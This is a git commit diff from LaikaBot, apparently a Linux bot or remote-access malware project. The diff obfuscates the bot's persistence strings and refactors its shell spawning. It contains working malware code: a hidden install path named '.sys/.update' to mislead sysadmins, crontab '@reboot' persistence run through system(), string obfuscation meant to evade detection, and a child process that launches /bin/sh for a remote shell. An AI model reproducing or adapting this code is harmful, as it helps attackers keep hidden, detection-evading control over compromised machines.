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Implemented VMBoxes, linux persistence related strings are obfuscated, added VMBoxGen tool

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- lboxconfig.h holds obfuscated data, which is generated by VMBoxGen
- linpersist.c now uses obfuscated strings
This commit is contained in:
CPunch
2022-05-09 16:41:01 -05:00
parent 7ca855410d
commit 71db213261
11 changed files with 232 additions and 27 deletions
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29
bot/lin/linpersist.c
View File

@@ -10,16 +10,10 @@
#include "lconfig.h"
#include "lsocket.h"
#include "lerror.h"
#include "lbox.h"
#include "lboxconfig.h"
#include "lmem.h"
/* we want a semi-random file lock that is stable between similar builds,
* so we use the GIT_VERSION as our file lock :D */
#define LAIKA_LOCK_FILE "/tmp/" LAIKA_VERSION_COMMIT
/* most sysadmins probably wouldn't dare remove something named '.sys/.update' */
#define LAIKA_INSTALL_DIR_USER ".sys"
#define LAIKA_INSTALL_FILE_USER ".update"
static int laikaB_lockFile;
/* check if laika is running as super-user */
@@ -29,15 +23,18 @@ bool laikaB_checkRoot() {
/* mark that laika is currently running */
void laikaB_markRunning() {
LAIKA_BOX_STARTVAR(char*, filePath, LAIKA_BOX_SKID(LAIKA_LIN_LOCK_FILE_KEY), LAIKA_LIN_LOCK_FILE_DATA);
/* create lock file */
if ((laikaB_lockFile = open(LAIKA_LOCK_FILE, O_RDWR | O_CREAT, 0666)) == -1)
LAIKA_ERROR("Couldn't open file lock! Another LaikaBot is probably running.\n");
if ((laikaB_lockFile = open(filePath, O_RDWR | O_CREAT, 0666)) == -1)
LAIKA_ERROR("Couldn't open file lock '%s'! Another LaikaBot is probably running.\n", filePath);
/* create lock */
if (flock(laikaB_lockFile, LOCK_EX | LOCK_NB) != 0)
LAIKA_ERROR("Failed to create file lock!\n");
LAIKA_DEBUG("file lock created!\n");
LAIKA_BOX_ENDVAR(filePath);
}
/* unmark that laika is currently running */
@@ -70,13 +67,17 @@ void getInstallPath(char *outPath, int pathSz) {
}
/* create install directory if it doesn't exist */
snprintf(outPath, pathSz, "%s/%s", home, LAIKA_INSTALL_DIR_USER);
LAIKA_BOX_STARTVAR(char*, dirPath, LAIKA_BOX_SKID(LAIKA_LIN_INSTALL_DIR_KEY), LAIKA_LIN_INSTALL_DIR_DATA);
LAIKA_BOX_STARTVAR(char*, filePath, LAIKA_BOX_SKID(LAIKA_LIN_INSTALL_FILE_KEY), LAIKA_LIN_INSTALL_FILE_DATA);
snprintf(outPath, pathSz, "%s/%s", home, dirPath);
if (stat(outPath, &st) == -1) {
LAIKA_DEBUG("creating '%s'...\n", outPath);
mkdir(outPath, 0700);
}
snprintf(outPath, pathSz, "%s/%s/%s", home, LAIKA_INSTALL_DIR_USER, LAIKA_INSTALL_FILE_USER);
snprintf(outPath, pathSz, "%s/%s/%s", home, dirPath, filePath);
LAIKA_BOX_ENDVAR(dirPath);
LAIKA_BOX_ENDVAR(filePath);
}
bool checkPersistCron(char *path) {
@@ -100,16 +101,18 @@ bool checkPersistCron(char *path) {
}
void tryPersistCron(char *path) {
LAIKA_BOX_STARTVAR(char*, cronCMD, LAIKA_BOX_SKID(LAIKA_LIN_CRONTAB_ENTRY_KEY), LAIKA_LIN_CRONTAB_ENTRY_DATA);
char cmd[PATH_MAX + 128];
/* should be 'safe enough' */
snprintf(cmd, PATH_MAX + 128, "(crontab -l ; echo \"@reboot %s\")| crontab -", path);
snprintf(cmd, PATH_MAX + 128, cronCMD, path);
/* add laika to crontab */
if (system(cmd))
LAIKA_ERROR("failed to install '%s' to crontab!\n", path);
LAIKA_DEBUG("Installed '%s' to crontab!\n", path);
LAIKA_BOX_ENDVAR(cronCMD);
}
/* try to gain persistance on machine */

4
bot/lin/linshell.c
View File

@@ -13,6 +13,8 @@
#include "bot.h"
#include "shell.h"
#define LAIKA_LINSHELL_PATH "/bin/sh"
struct sLaika_RAWshell {
struct sLaika_shell _shell;
int pid;
@@ -30,7 +32,7 @@ struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int ro
if (shell->pid == 0) {
/* child process, clone & run shell */
execlp("/bin/sh", "sh", (char*) NULL);
execlp(LAIKA_LINSHELL_PATH, "sh", (char*) NULL);
exit(0);
}